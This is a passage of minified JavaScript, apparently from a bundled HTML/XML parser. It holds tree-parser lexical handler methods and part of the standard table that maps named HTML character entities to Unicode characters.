elegate=t,this.lexicalHandler.endEntity(e)},r.prototype.startCDATA=function(e){this.locatorDelegate=e,this.lexicalHandler.startCDATA()},r.prototype.startDTD=function(e,t,n,r){this.locatorDelegate=r,this.lexicalHandler.startDTD(e,t,n)},r.prototype.startEntity=function(e,t){this.locatorDelegate=t,this.lexicalHandler.startEntity(e)},Object.defineProperty(r.prototype,\"columnNumber\",{get:function(){return this.locatorDelegate?this.locatorDelegate.columnNumber:-1}}),Object.defineProperty(r.prototype,\"lineNumber\",{get:function(){return this.locatorDelegate?this.locatorDelegate.lineNumber:-1}}),i.prototype.comment=function(){},i.prototype.endCDATA=function(){},i.prototype.endDTD=function(){},i.prototype.endEntity=function(){},i.prototype.startCDATA=function(){},i.prototype.startDTD=function(){},i.prototype.startEntity=function(){},n.TreeParser=r},{}],12:[function(e,t,n){t.exports={\"Aacute;\":\"\\u00c1\",Aacute:\"\\u00c1\",\"aacute;\":\"\\u00e1\",aacute:\"\\u00e1\",\"Abreve;\":\"\\u0102\",\"abreve;\":\"\\u0103\",\"ac;\":\"\\u223e\",\"acd;\":\"\\u223f\",\"acE;\":\"\\u223e\\u0333\",\"Acirc;\":\"\\u00c2\",Acirc:\"\\u00c2\",\"acirc;\":\"\\u00e2\",acirc:\"\\u00e2\",\"acute;\":\"\\u00b4\",acute:\"\\u00b4\",\"Acy;\":\"\\u0410\",\"acy;\":\"\\u0430\",\"AElig;\":\"\\u00c6\",AElig:\"\\u00c6\",\"aelig;\":\"\\u00e6\",aelig:\"\\u00e6\",\"af;\":\"\\u2061\",\"Afr;\":\"\\ud835\\udd04\",\"afr;\":\"\\ud835\\udd1e\",\"Agrave;\":\"\\u00c0\",Agrave:\"\\u00c0\",\"agrave;\":\"\\u00e0\",agrave:\"\\u00e0\",\"alefsym;\":\"\\u2135\",\"aleph;\":\"\\u2135\",\"Alpha;\":\"\\u0391\",\"alpha;\":\"\\u03b1\",\"Amacr;\":\"\\u0100\",\"amacr;\":\"\\u0101\",\"amalg;\":\"\\u2a3f\",\"amp;\":\"&\",amp:\"&\",\"AMP;\":\"&\",AMP:\"&\",\"andand;\":\"\\u2a55\",\"And;\":\"\\u2a53\",\"and;\":\"\\u2227\",\"andd;\":\"\\u2a5c\",\"andslope;\":\"\\u2a58\",\"andv;\":\"\\u2a5a\",\"ang;\":\"\\u2220\",\"ange;\":\"\\u29a4\",\"angle;\":\"\\u2220\",\"angmsdaa;\":\"\\u29a8\",\"angmsdab;\":\"\\u29a9\",\"angmsdac;\":\"\\u29aa\",\"angmsdad;\":\"\\u29ab\",\"angmsdae;\":\"\\u29ac\",\"angmsdaf;\":\"\\u29ad\",\"angmsdag;\":\"\\u29ae\",\"angmsdah;\":\"\\u29af\",\"angmsd;\":\"\\u2221\",\"angrt;\":\"\\u221f\",\"angrtvb;\":\"\\u22be\",\"angrtvbd;\":\"\\u299d\",\"angsph;\":\"\\u2222\",\"angst;\":\"\\u00c5\",\"angzarr;\":\"\\u237c\",\"Aogon;\":\"\\u0104\",\"aogon;\":\"\\u0105\",\"Aopf;\":\"\\ud835\\udd38\",\"aopf;\":\"\\ud835\\udd52\",\"apacir;\":\"\\u2a6f\",\"ap;\":\"\\u2248\",\"apE;\":\"\\u2a70\",\"ape;\":\"\\u224a\",\"apid;\":\"\\u224b\",\"apos;\":\"'\",\"ApplyFunction;\":\"\\u2061\",\"approx;\":\"\\u2248\",\"approxeq;\":\"\\u224a\",\"Aring;\":\"\\u00c5\",Aring:\"\\u00c5\",\"aring;\":\"\\u00e5\",aring:\"\\u00e5\",\"Ascr;\":\"\\ud835\\udc9c\",\"ascr;\":\"\\ud835\\udcb6\",\"Assign;\":\"\\u2254\",\"ast;\":\"*\",\"asymp;\":\"\\u2248\",\"asympeq;\":\"\\u224d\",\"Atilde;\":\"\\u00c3\",Atilde:\"\\u00c3\",\"atilde;\":\"\\u00e3\",atilde:\"\\u00e3\",\"Auml;\":\"\\u00c4\",Auml:\"\\u00c4\",\"auml;\":\"\\u00e4\",auml:\"\\u00e4\",\"awconint;\":\"\\u2233\",\"awint;\":\"\\u2a11\",\"backcong;\":\"\\u224c\",\"backepsilon;\":\"\\u03f6\",\"backprime;\":\"\\u2035\",\"backsim;\":\"\\u223d\",\"backsimeq;\":\"\\u22cd\",\"Backslash;\":\"\\u2216\",\"Barv;\":\"\\u2ae7\",\"barvee;\":\"\\u22bd\",\"barwed;\":\"\\u2305\",\"Barwed;\":\"\\u2306\",\"barwedge;\":\"\\u2305\",\"bbrk;\":\"\\u23b5\",\"bbrktbrk;\":\"\\u23b6\",\"bcong;\":\"\\u224c\",\"Bcy;\":\"\\u0411\",\"bcy;\":\"\\u0431\",\"bdquo;\":\"\\u201e\",\"becaus;\":\"\\u2235\",\"because;\":\"\\u2235\",\"Because;\":\"\\u2235\",\"bemptyv;\":\"\\u29b0\",\"bepsi;\":\"\\u03f6\",\"bernou;\":\"\\u212c\",\"Bernoullis;\":\"\\u212c\",\"Beta;\":\"\\u0392\",\"beta;\":\"\\u03b2\",\"beth;\":\"\\u2136\",\"between;\":\"\\u226c\",\"Bfr;\":\"\\ud835\\udd05\",\"bfr;\":\"\\ud835\\udd1f\",\"bigcap;\":\"\\u22c2\",\"bigcirc;\":\"\\u25ef\",\"bigcup;\":\"\\u22c3\",\"bigodot;\":\"\\u2a00\",\"bigoplus;\":\"\\u2a01\",\"bigotimes;\":\"\\u2a02\",\"bigsqcup;\":\"\\u2a06\",\"bigstar;\":\"\\u2605\",\"bigtriangledown;\":\"\\u25bd\",\"bigtriangleup;\":\"\\u25b3\",\"biguplus;\":\"\\u2a04\",\"bigvee;\":\"\\u22c1\",\"bigwedge;\":\"\\u22c0\",\"bkarow;\":\"\\u290d\",\"blacklozenge;\":\"\\u29eb\",\"blacksquare;\":\"\\u25aa\",\"blacktriangle;\":\"\\u25b4\",\"blacktriangledown;\":\"\\u25be\",\"blacktriangleleft;\":\"\\u25c2\",\"blacktriangleright;\":\"\\u25b8\",\"blank;\":\"\\u2423\",\"blk12;\":\"\\u2592\",\"blk14;\":\"\\u2591\",\"blk34;\":\"\\u2593\",\"block;\":\"\\u2588\",\"bne;\":\"=\\u20e5\",\"bnequiv;\":\"\\u2261\\u20e5\",\"bNot;\":\"\\u2aed\",\"bnot;\":\"\\u2310\",\"Bopf;\":\"\\ud835\\udd39\",\"bopf;\":\"\\ud835\\udd53\",\"bot;\":\"\\u22a5\",\"bottom;\":\"\\u22a5\",\"bowtie;\":\"\\u22c8\",\"boxbox;\":\"\\u29c9\",\"boxdl;\":\"\\u2510\",\"boxdL;\":\"\\u2555\",\"boxDl;\":\"\\u2556\",\"boxDL;\":\"\\u2557\",\"boxdr;\":\"\\u250c\",\"boxdR;\":\"\\u2552\",\"boxDr;\":\"\\u2553\",\"boxDR;\":\"\\u2554\",\"boxh;\":\"\\u2500\",\"boxH;\":\"\\u2550\",\"boxhd;\":\"\\u252c\",\"boxHd;\":\"\\u2564\",\"boxhD;\":\"\\u2565\",\"boxHD;\":\"\\u2566\",\"boxhu;\":\"\\u2534\",\"boxHu;\":\"\\u2567\",\"boxhU;\":\"\\u2568\",\"boxHU;\":\"\\u2569\",\"boxminus;\":\"\\u229f\",\"boxplus;\":\"\\u229e\",\"boxtimes;\":\"\\u22a0\",\"boxul;\":\"\\u2518\",\"boxuL;\":\"\\u255b\",\"boxUl;\":\"\\u255c\",\"boxUL;\":\"\\u255d\",\"boxur;\":\"\\u2514\",\"boxuR;\":\"\\u2558\",\"boxUr;\":\"\\u2559\",\"boxUR;\":\"\\u255a\",\"boxv;\":\"\\u2502\",\"boxV;\":\"\\u2551\",\"boxvh;\":\"\\u253c\",\"boxvH;\":\"\\u256a\",\"boxVh;\":\"\\u256b\",\"boxVH;\":\"\\u256c\",\"boxvl;\":\"\\u2524\",\"boxvL;\":\"\\u2561\",\"boxVl;\":\"\\u2562\",\"boxVL;\":\"\\u2563\",\"boxvr;\":\"\\u251c\",\"boxvR;\":\"\\u255e\",\"boxVr;\":\"\\u255f\",\"boxVR;\":\"\\u2560\",\"bprime;\":\"\\u2035\",\"breve;\":\"\\u02d8\",\"Breve;\":\"\\u02d8\",\"brvbar;\":\"\\u00a6\",brvbar:\"\\u00a6\",\"bscr;\":\"\\ud835\\udcb7\",\"Bscr;\":\"\\u212c\",\"bsemi;\":\"\\u204f\",\"bsim;\":\"\\u223d\",\"bsime;\":\"\\u22cd\",\"bsolb;\":\"\\u29c5\",\"bsol;\":\"\\\\\",\"bsolhsub;\":\"\\u27c8\",\"bull;\":\"\\u2022\",\"bullet;\":\"\\u2022\",\"bump;\":\"\\u224e\",\"bumpE;\":\"\\u2aae\",\"bumpe;\":\"\\u224f\",\"Bumpeq;\":\"\\u224e\",\"bumpeq;\":\"\\u224f\",\"Cacute;\":\"\\u0106\",\"cacute;\":\"\\u0107\",\"capand;\":\"\\u2a44\",\"capbrcup;\":\"\\u2a49\",\"capcap;\":\"\\u2a4b\",\"cap;\":\"\\u2229\",\"Cap;\":\"\\u22d2\",\"capcup;\":\"\\u2a47\",\"capdot;\":\"\\u2a40\",\"CapitalDifferentialD;\":\"\\u2145\",\"caps;\":\"\\u2229\\ufe00\",\"caret;\":\"\\u2041\",\"caron;\":\"\\u02c7\",\"Cayleys;\":\"\\u212d\",\"ccaps;\":\"\\u2a4d\",\"Ccaron;\":\"\\u010c\",\"ccaron;\":\"\\u010d\",\"Ccedil;\":\"\\u00c7\",Ccedil:\"\\u00c7\",\"ccedil;\":\"\\u00e7\",ccedil:\"\\u00e7\",\"Ccirc;\":\"\\u0108\",\"ccirc;\":\"\\u0109\",\"Cconint;\":\"\\u2230\",\"ccups;\":\"\\u2a4c\",\"ccupssm;\":\"\\u2a50\",\"Cdot;\":\"\\u010a\",\"cdot;\":\"\\u010b\",\"cedil;\":\"\\u00b8\",cedil:\"\\u00b8\",\"Cedilla;\":\"\\u00b8\",\"cemptyv;\":\"\\u29b2\",\"cent;\":\"\\u00a2\",cent:\"\\u00a2\",\"centerdot;\":\"\\u00b7\",\"CenterDot;\":\"\\u00b7\",\"cfr;\":\"\\ud835\\udd20\",\"Cfr;\":\"\\u212d\",\"CHcy;\":\"\\u0427\",\"chcy;\":\"\\u0447\",\"check;\":\"\\u2713\",\"checkmark;\":\"\\u2713\",\"Chi;\":\"\\u03a7\",\"chi;\":\"\\u03c7\",\"circ;\":\"\\u02c6\",\"circeq;\":\"\\u2257\",\"circlearrowleft;\":\"\\u21ba\",\"circlearrowright;\":\"\\u21bb\",\"circledast;\":\"\\u229b\",\"circledcirc;\":\"\\u229a\",\"circleddash;\":\"\\u229d\",\"CircleDot;\":\"\\u2299\",\"circledR;\":\"\\u00ae\",\"circledS;\":\"\\u24c8\",\"CircleMinus;\":\"\\u2296\",\"CirclePlus;\":\"\\u2295\",\"CircleTimes;\":\"\\u2297\",\"cir;\":\"\\u25cb\",\"cirE;\":\"\\u29c3\",\"cire;\":\"\\u2257\",\"cirfnint;\":\"\\u2a10\",\"cirmid;\":\"\\u2aef\",\"cirscir;\":\"\\u29c2\",\"ClockwiseContourIntegral;\":\"\\u2232\",\"CloseCurlyDoubleQuote;\":\"\\u201d\",\"CloseCurlyQuote;\":\"\\u2019\",\"clubs;\":\"\\u2663\",\"clubsuit;\":\"\\u2663\",\"colon;\":\":\",\"Colon;\":\"\\u2237\",\"Colone;\":\"\\u2a74\",\"colone;\":\"\\u2254\",\"coloneq;\":\"\\u2254\",\"comma;\":\",\",\"commat;\":\"@\",\"comp;\":\"\\u2201\",\"compfn;\":\"\\u2218\",\"complement;\":\"\\u2201\",\"complexes;\":\"\\u2102\",\"cong;\":\"\\u2245\",\"congdot;\":\"\\u2a6d\",\"Congruent;\":\"\\u2261\",\"conint;\":\"\\u222e\",\"Conint;\":\"\\u222f\",\"ContourIntegral;\":\"\\u222e\",\"copf;\":\"\\ud835\\udd54\",\"Copf;\":\"\\u2102\",\"coprod;\":\"\\u2210\",\"Coproduct;\":\"\\u2210\",\"copy;\":\"\\u00a9\",copy:\"\\u00a9\",\"COPY;\":\"\\u00a9\",COPY:\"\\u00a9\",\"copysr;\":\"\\u2117\",\"CounterClockwiseContourIntegral;\":\"\\u2233\",\"crarr;\":\"\\u21b5\",\"cross;\":\"\\u2717\",\"Cross;\":\"\\u2a2f\",\"Cscr;\":\"\\ud835\\udc9e\",\"cscr;\":\"\\ud835\\udcb8\",\"csub;\":\"\\u2acf\",\"csube;\":\"\\u2ad1\",\"csup;\":\"\\u2ad0\",\"csupe;\":\"\\u2ad2\",\"ctdot;\":\"\\u22ef\",\"cudarrl;\":\"\\u2938\",\"cudarrr;\":\"\\u2935\",\"cuepr;\":\"\\u22de\",\"cuesc;\":\"\\u22df\",\"cularr;\":\"\\u21b6\",\"cularrp;\":\"\\u293d\",\"cupbrcap;\":\"\\u2a48\",\"cupcap;\":\"\\u2a46\",\"CupCap;\":\"\\u224d\",\"cup;\":\"\\u222a\",\"Cup;\":\"\\u22d3\",\"cupcup;\":\"\\u2a4a\",\"cupdot;\":\"\\u228d\",\"cupor;\":\"\\u2a45\",\"cups;\":\"\\u222a\\ufe00\",\"curarr;\":\"\\u21b7\",\"curarrm;\":\"\\u293c\",\"curlyeqprec;\":\"\\u22de\",\"curlyeqsucc;\":\"\\u22df\",\"curlyvee;\":\"\\u22ce\",\"curlywedge;\":\"\\u22cf\",\"curren;\":\"\\u00a4\",curren:\"\\u00a4\",\"curvearrowleft;\":\"\\u21b6\",\"curvearrowright;\":\"\\u21b7\",\"cuvee;\":\"\\u22ce\",\"cuwed;\":\"\\u22cf\",\"cwconint;\":\"\\u2232\",\"cwint;\":\"\\u2231\",\"cylcty;\":\"\\u232d\",\"dagger;\":\"\\u2020\",\"Dagger;\":\"\\u2021\",\"daleth;\":\"\\u2138\",\"darr;\":\"\\u2193\",\"Darr;\":\"\\u21a1\",\"dArr;\":\"\\u21d3\",\"dash;\":\"\\u2010\",\"Dashv;\":\"\\u2ae4\",\"dashv;\":\"\\u22a3\",\"dbkarow;\":\"\\u290f\",\"dblac;\":\"\\u02dd\",\"Dcaron;\":\"\\u010e\",\"dcaron;\":\"\\u010f\",\"Dcy;\":\"\\u0414\",\"dcy;\":\"\\u0434\",\"ddagger;\":\"\\u2021\",\"ddarr;\":\"\\u21ca\",\"DD;\":\"\\u2145\",\"dd;\":\"\\u2146\",\"DDotrahd;\":\"\\u2911\",\"ddotseq;\":\"\\u2a77\",\"deg;\":\"\\u00b0\",deg:\"\\u00b0\",\"Del;\":\"\\u2207\",\"Delta;\":\"\\u0394\",\"delta;\":\"\\u03b4\",\"demptyv;\":\"\\u29b1\",\"dfisht;\":\"\\u297f\",\"Dfr;\":\"\\ud835\\udd07\",\"dfr;\":\"\\ud835\\udd21\",\"dHar;\":\"\\u2965\",\"dharl;\":\"\\u21c3\",\"dharr;\":\"\\u21c2\",\"DiacriticalAcute;\":\"\\u00b4\",\"DiacriticalDot;\":\"\\u02d9\",\"DiacriticalDoubleAcute;\":\"\\u02dd\",\"DiacriticalGrave;\":\"`\",\"DiacriticalTilde;\":\"\\u02dc\",\"diam;\":\"\\u22c4\",\"diamond;\":\"\\u22c4\",\"Diamond;\":\"\\u22c4\",\"diamondsuit;\":\"\\u2666\",\"diams;\":\"\\u2666\",\"die;\":\"\\u00a8\",\"DifferentialD;\":\"\\u2146\",\"digamma;\":\"\\u03dd\",\"disin;\":\"\\u22f2\",\"div;\":\"\\u00f7\",\"divide;\":\"\\u00f7\",divide:\"\\u00f7\",\"divideontimes;\":\"\\u22c7\",\"divonx;\":\"\\u22c7\",\"DJcy;\":\"\\u0402\",\"djcy;\":\"\\u0452\",\"dlcorn;\":\"\\u231e\",\"dlcrop;\":\"\\u230d\",\"dollar;\":\"$\",\"Dopf;\":\"\\ud835\\udd3b\",\"dopf;\":\"\\ud835\\udd55\",\"Dot;\":\"\\u00a8\",\"dot;\":\"\\u02d9\",\"DotDot;\":\"\\u20dc\",\"doteq;\":\"\\u2250\",\"doteqdot;\":\"\\u2251\",\"DotEqual;\":\"\\u2250\",\"dotminus;\":\"\\u2238\",\"dotplus;\":\"\\u2214\",\"dotsquare;\":\"\\u22a1\",\"doublebarwedge;\":\"\\u2306\",\"DoubleContourIntegral;\":\"\\u222f\",\"DoubleDot;\":\"\\u00a8\",\"DoubleDownArrow;\":\"\\u21d3\",\"DoubleLeftArrow;\":\"\\u21d0\",\"DoubleLeftRightArrow;\":\"\\u21d4\",\"DoubleLeftTee;\":\"\\u2ae4\",\"DoubleLongLeftArrow;\":\"\\u27f8\",\"DoubleLongLeftRightArrow;\":\"\\u27fa\",\"DoubleLongRightArrow;\":\"\\u27f9\",\"DoubleRightArrow;\":\"\\u21d2\",\"DoubleRightTee;\":\"\\u22a8\",\"DoubleUpArrow;\":\"\\u21d1\",\"DoubleUpDownArrow;\":\"\\u21d5\",\"DoubleVerticalBar;\":\"\\u2225\",\"DownArrowBar;\":\"\\u2913\",\"downarrow;\":\"\\u2193\",\"DownArrow;\":\"\\u2193\",\"Downarrow;\":\"\\u21d3\",\"DownArrowUpArrow;\":\"\\u21f5\",\"DownBreve;\":\"\\u0311\",\"downdownarrows;\":\"\\u21ca\",\"downharpoonleft;\":\"\\u21c3\",\"downharpoonright;\":\"\\u21c2\",\"DownLeftRightVector;\":\"\\u2950\",\"DownLeftTeeVector;\":\"\\u295e\",\"DownLeftVectorBar;\":\"\\u2956\",\"DownLeftVector;\":\"\\u21bd\",\"DownRightTeeVector;\":\"\\u295f\",\"DownRightVectorBar;\":\"\\u2957\",\"DownRightVector;\":\"\\u21c1\",\"DownTeeArrow;\":\"\\u21a7\",\"DownTee;\":\"\\u22a4\",\"drbkarow;\":\"\\u2910\",\"drcorn;\":\"\\u231f\",\"drcrop;\":\"\\u230c\",\"Dscr;\":\"\\ud835\\udc9f\",\"dscr;\":\"\\ud835\\udcb9\",\"DScy;\":\"\\u0405\",\"dscy;\":\"\\u0455\",\"dsol;\":\"\\u29f6\",\"Dstrok;\":\"\\u0110\",\"dstrok;\":\"\\u0111\",\"dtdot;\":\"\\u22f1\",\"dtri;\":\"\\u25bf\",\"dtrif;\":\"\\u25be\",\"duarr;\":\"\\u21f5\",\"duhar;\":\"\\u296f\",\"dwangle;\":\"\\u29a6\",\"DZcy;\":\"\\u040f\",\"dzcy;\":\"\\u045f\",\"dzigrarr;\":\"\\u27ff\",\"Eacute;\":\"\\u00c9\",Eacute:\"\\u00c9\",\"eacute;\":\"\\u00e9\",eacute:\"\\u00e9\",\"easter;\":\"\\u2a6e\",\"Ecaron;\":\"\\u011a\",\"ecaron;\":\"\\u011b\",\"Ecirc;\":\"\\u00ca\",Ecirc:\"\\u00ca\",\"ecirc;\":\"\\u00ea\",ecirc:\"\\u00ea\",\"ecir;\":\"\\u2256\",\"ecolon;\":\"\\u2255\",\"Ecy;\":\"\\u042d\",\"ecy;\":\"\\u044d\",\"eDDot;\":\"\\u2a77\",\"Edot;\":\"\\u0116\",\"edot;\":\"\\u0117\",\"eDot;\":\"\\u2251\",\"ee;\":\"\\u2147\",\"efDot;\":\"\\u2252\",\"Efr;\":\"\\ud835\\udd08\",\"efr;\":\"\\ud835\\udd22\",\"eg;\":\"\\u2a9a\",\"Egrave;\":\"\\u00c8\",Egrave:\"\\u00c8\",\"egrave;\":\"\\u00e8\",egrave:\"\\u00e8\",\"egs;\":\"\\u2a96\",\"egsdot;\":\"\\u2a98\",\"el;\":\"\\u2a99\",\"Element;\":\"\\u2208\",\"elinters;\":\"\\u23e7\",\"ell;\":\"\\u2113\",\"els;\":\"\\u2a95\",\"elsdot;\":\"\\u2a97\",\"Emacr;\":\"\\u0112\",\"emacr;\":\"\\u0113\",\"empty;\":\"\\u2205\",\"emptyset;\":\"\\u2205\",\"EmptySmallSquare;\":\"\\u25fb\",\"emptyv;\":\"\\u2205\",\"EmptyVerySmallSquare;\":\"\\u25ab\",\"emsp13;\":\"\\u2004\",\"emsp14;\":\"\\u2005\",\"emsp;\":\"\\u2003\",\"ENG;\":\"\\u014a\",\"eng;\":\"\\u014b\",\"ensp;\":\"\\u2002\",\"Eogon;\":\"\\u0118\",\"eogon;\":\"\\u0119\",\"Eopf;\":\"\\ud835\\udd3c\",\"eopf;\":\"\\ud835\\udd56\",\"epar;\":\"\\u22d5\",\"eparsl;\":\"\\u29e3\",\"eplus;\":\"\\u2a71\",\"epsi;\":\"\\u03b5\",\"Epsilon;\":\"\\u0395\",\"epsilon;\":\"\\u03b5\",\"epsiv;\":\"\\u03f5\",\"eqcirc;\":\"\\u2256\",\"eqcolon;\":\"\\u2255\",\"eqsim;\":\"\\u2242\",\"eqslantgtr;\":\"\\u2a96\",\"eqslantless;\":\"\\u2a95\",\"Equal;\":\"\\u2a75\",\"equals;\":\"=\",\"EqualTilde;\":\"\\u2242\",\"equest;\":\"\\u225f\",\"Equilibrium;\":\"\\u21cc\",\"equiv;\":\"\\u2261\",\"equivDD;\":\"\\u2a78\",\"eqvparsl;\":\"\\u29e5\",\"erarr;\":\"\\u2971\",\"erDot;\":\"\\u2253\",\"escr;\":\"\\u212f\",\"Escr;\":\"\\u2130\",\"esdot;\":\"\\u2250\",\"Esim;\":\"\\u2a73\",\"esim;\":\"\\u2242\",\"Eta;\":\"\\u0397\",\"eta;\":\"\\u03b7\",\"ETH;\":\"\\u00d0\",ETH:\"\\u00d0\",\"eth;\":\"\\u00f0\",eth:\"\\u00f0\",\"Euml;\":\"\\u00cb\",Euml:\"\\u00cb\",\"euml;\":\"\\u00eb\",euml:\"\\u00eb\",\"euro;\":\"\\u20ac\",\"excl;\":\"!\",\"exist;\":\"\\u2203\",\"Exists;\":\"\\u2203\",\"expectation;\":\"\\u2130\",\"exponentiale;\":\"\\u2147\",\"ExponentialE;\":\"\\u2147\",\"fallingdotseq;\":\"\\u2252\",\"Fcy;\":\"\\u0424\",\"fcy;\":\"\\u0444\",\"female;\":\"\\u2640\",\"ffilig;\":\"\\ufb03\",\"fflig;\":\"\\ufb00\",\"ffllig;\":\"\\ufb04\",\"Ffr;\":\"\\ud835\\udd09\",\"ffr;\":\"\\ud835\\udd23\",\"filig;\":\"\\ufb01\",\"FilledSmallSquare;\":\"\\u25fc\",\"FilledVerySmallSquare;\":\"\\u25aa\",\"fjlig;\":\"fj\",\"flat;\":\"\\u266d\",\"fllig;\":\"\\ufb02\",\"fltns;\":\"\\u25b1\",\"fnof;\":\"\\u0192\",\"Fopf;\":\"\\ud835\\udd3d\",\"fopf;\":\"\\ud835\\udd57\",\"forall;\":\"\\u2200\",\"ForAll;\":\"\\u2200\",\"fork;\":\"\\u22d4\",\"forkv;\":\"\\u2ad9\",\"Fouriertrf;\":\"\\u2131\",\"fpartint;\":\"\\u2a0d\",\"frac12;\":\"\\u00bd\",frac12:\"\\u00bd\",\"frac13;\":\"\\u2153\",\"frac14;\":\"\\u00bc\",frac14:\"\\u00bc\",\"frac15;\":\"\\u2155\",\"frac16;\":\"\\u2159\",\"frac18;\":\"\\u215b\",\"frac23;\":\"\\u2154\",\"frac25;\":\"\\u2156\",\"frac34;\":\"\\u00be\",frac34:\"\\u00be\",\"frac35;\":\"\\u2157\",\"frac38;\":\"\\u215c\",\"frac45;\":\"\\u2158\",\"frac56;\":\"\\u215a\",\"frac58;\":\"\\u215d\",\"frac78;\":\"\\u215e\",\"frasl;\":\"\\u2044\",\"frown;\":\"\\u2322\",\"fscr;\":\"\\ud835\\udcbb\",\"Fscr;\":\"\\u2131\",\"gacute;\":\"\\u01f5\",\"Gamma;\":\"\\u0393\",\"gamma;\":\"\\u03b3\",\"Gammad;\":\"\\u03dc\",\"gammad;\":\"\\u03dd\",\"gap;\":\"\\u2a86\",\"Gbreve;\":\"\\u011e\",\"gbreve;\":\"\\u011f\",\"Gcedil;\":\"\\u0122\",\"Gcirc;\":\"\\u011c\",\"gcirc;\":\"\\u011d\",\"Gcy;\":\"\\u0413\",\"gcy;\":\"\\u0433\",\"Gdot;\":\"\\u0120\",\"gdot;\":\"\\u0121\",\"ge;\":\"\\u2265\",\"gE;\":\"\\u2267\",\"gEl;\":\"\\u2a8c\",\"gel;\":\"\\u22db\",\"geq;\":\"\\u2265\",\"geqq;\":\"\\u2267\",\"geqslant;\":\"\\u2a7e\",\"gescc;\":\"\\u2aa9\",\"ges;\":\"\\u2a7e\",\"gesdot;\":\"\\u2a80\",\"gesdoto;\":\"\\u2a82\",\"gesdotol;\":\"\\u2a84\",\"gesl;\":\"\\u22db\\ufe00\",\"gesles;\":\"\\u2a94\",\"Gfr;\":\"\\ud835\\udd0a\",\"gfr;\":\"\\ud835\\udd24\",\"gg;\":\"\\u226b\",\"Gg;\":\"\\u22d9\",\"ggg;\":\"\\u22d9\",\"gimel;\":\"\\u2137\",\"GJcy;\":\"\\u0403\",\"gjcy;\":\"\\u0453\",\"gla;\":\"\\u2aa5\",\"gl;\":\"\\u2277\",\"glE;\":\"\\u2a92\",\"glj;\":\"\\u2aa4\",\"gnap;\":\"\\u2a8a\",\"gnapprox;\":\"\\u2a8a\",\"gne;\":\"\\u2a88\",\"gnE;\":\"\\u2269\",\"gneq;\":\"\\u2a88\",\"gneqq;\":\"\\u2269\",\"gnsim;\":\"\\u22e7\",\"Gopf;\":\"\\ud835\\udd3e\",\"gopf;\":\"\\ud835\\udd58\",\"grave;\":\"`\",\"GreaterEqual;\":\"\\u2265\",\"GreaterEqualLess;\":\"\\u22db\",\"GreaterFullEqual;\":\"\\u2267\",\"GreaterGreater;\":\"\\u2aa2\",\"GreaterLess;\":\"\\u2277\",\"GreaterSlantEqual;\":\"\\u2a7e\",\"GreaterTilde;\":\"\\u2273\",\"Gscr;\":\"\\ud835\\udca2\",\"gscr;\":\"\\u210a\",\"gsim;\":\"\\u2273\",\"gsime;\":\"\\u2a8e\",\"gsiml;\":\"\\u2a90\",\"gtcc;\":\"\\u2aa7\",\"gtcir;\":\"\\u2a7a\",\"gt;\":\">\",gt:\">\",\"GT;\":\">\",GT:\">\",\"Gt;\":\"\\u226b\",\"gtdot;\":\"\\u22d7\",\"gtlPar;\":\"\\u2995\",\"gtquest;\":\"\\u2a7c\",\"gtrapprox;\":\"\\u2a86\",\"gtrarr;\":\"\\u2978\",\"gtrdot;\":\"\\u22d7\",\"gtreqless;\":\"\\u22db\",\"gtreqqless;\":\"\\u2a8c\",\"gtrless;\":\"\\u2277\",\"gtrsim;\":\"\\u2273\",\"gvertneqq;\":\"\\u2269\\ufe00\",\"gvnE;\":\"\\u2269\\ufe00\",\"Hacek;\":\"\\u02c7\",\"hairsp;\":\"\\u200a\",\"half;\":\"\\u00bd\",\"hamilt;\":\"\\u210b\",\"HARDcy;\":\"\\u042a\",\"hardcy;\":\"\\u044a\",\"harrcir;\":\"\\u2948\",\"harr;\":\"\\u2194\",\"hArr;\":\"\\u21d4\",\"harrw;\":\"\\u21ad\",\"Hat;\":\"^\",\"hbar;\":\"\\u210f\",\"Hcirc;\":\"\\u0124\",\"hcirc;\":\"\\u0125\",\"hearts;\":\"\\u2665\",\"heartsuit;\":\"\\u2665\",\"hellip;\":\"\\u2026\",\"hercon;\":\"\\u22b9\",\"hfr;\":\"\\ud835\\udd25\",\"Hfr;\":\"\\u210c\",\"HilbertSpace;\":\"\\u210b\",\"hksearow;\":\"\\u2925\",\"hkswarow;\":\"\\u2926\",\"hoarr;\":\"\\u21ff\",\"homtht;\":\"\\u223b\",\"hookleftarrow;\":\"\\u21a9\",\"hookrightarrow;\":\"\\u21aa\",\"hopf;\":\"\\ud835\\udd59\",\"Hopf;\":\"\\u210d\",\"horbar;\":\"\\u2015\",\"HorizontalLine;\":\"\\u2500\",\"hscr;\":\"\\ud835\\udcbd\",\"Hscr;\":\"\\u210b\",\"hslash;\":\"\\u210f\",\"Hstrok;\":\"\\u0126\",\"hstrok;\":\"\\u0127\",\"HumpDownHump;\":\"\\u224e\",\"HumpEqual;\":\"\\u224f\",\"hybull;\":\"\\u2043\",\"hyphen;\":\"\\u2010\",\"Iacute;\":\"\\u00cd\",Iacute:\"\\u00cd\",\"iacute;\":\"\\u00ed\",iacute:\"\\u00ed\",\"ic;\":\"\\u2063\",\"Icirc;\":\"\\u00ce\",Icirc:\"\\u00ce\",\"icirc;\":\"\\u00ee\",icirc:\"\\u00ee\",\"Icy;\":\"\\u0418\",\"icy;\":\"\\u0438\",\"Idot;\":\"\\u0130\",\"IEcy;\":\"\\u0415\",\"iecy;\":\"\\u0435\",\"iexcl;\":\"\\u00a1\",iexcl:\"\\u00a1\",\"iff;\":\"\\u21d4\",\"ifr;\":\"\\ud835\\udd26\",\"Ifr;\":\"\\u2111\",\"Igrave;\":\"\\u00cc\",Igrave:\"\\u00cc\",\"igrave;\":\"\\u00ec\",igrave:\"\\u00ec\",\"ii;\":\"\\u2148\",\"iiiint;\":\"\\u2a0c\",\"iiint;\":\"\\u222d\",\"iinfin;\":\"\\u29dc\",\"iiota;\":\"\\u2129\",\"IJlig;\":\"\\u0132\",\"ijlig;\":\"\\u0133\",\"Imacr;\":\"\\u012a\",\"imacr;\":\"\\u012b\",\"image;\":\"\\u2111\",\"ImaginaryI;\":\"\\u2148\",\"imagline;\":\"\\u2110\",\"imagpart;\":\"\\u2111\",\"imath;\":\"\\u0131\",\"Im;\":\"\\u2111\",\"imof;\":\"\\u22b7\",\"imped;\":\"\\u01b5\",\"Implies;\":\"\\u21d2\",\"incare;\":\"\\u2105\",\"in;\":\"\\u2208\",\"infin;\":\"\\u221e\",\"infintie;\":\"\\u29dd\",\"inodot;\":\"\\u0131\",\"intcal;\":\"\\u22ba\",\"int;\":\"\\u222b\",\"Int;\":\"\\u222c\",\"integers;\":\"\\u2124\",\"Integral;\":\"\\u222b\",\"intercal;\":\"\\u22ba\",\"I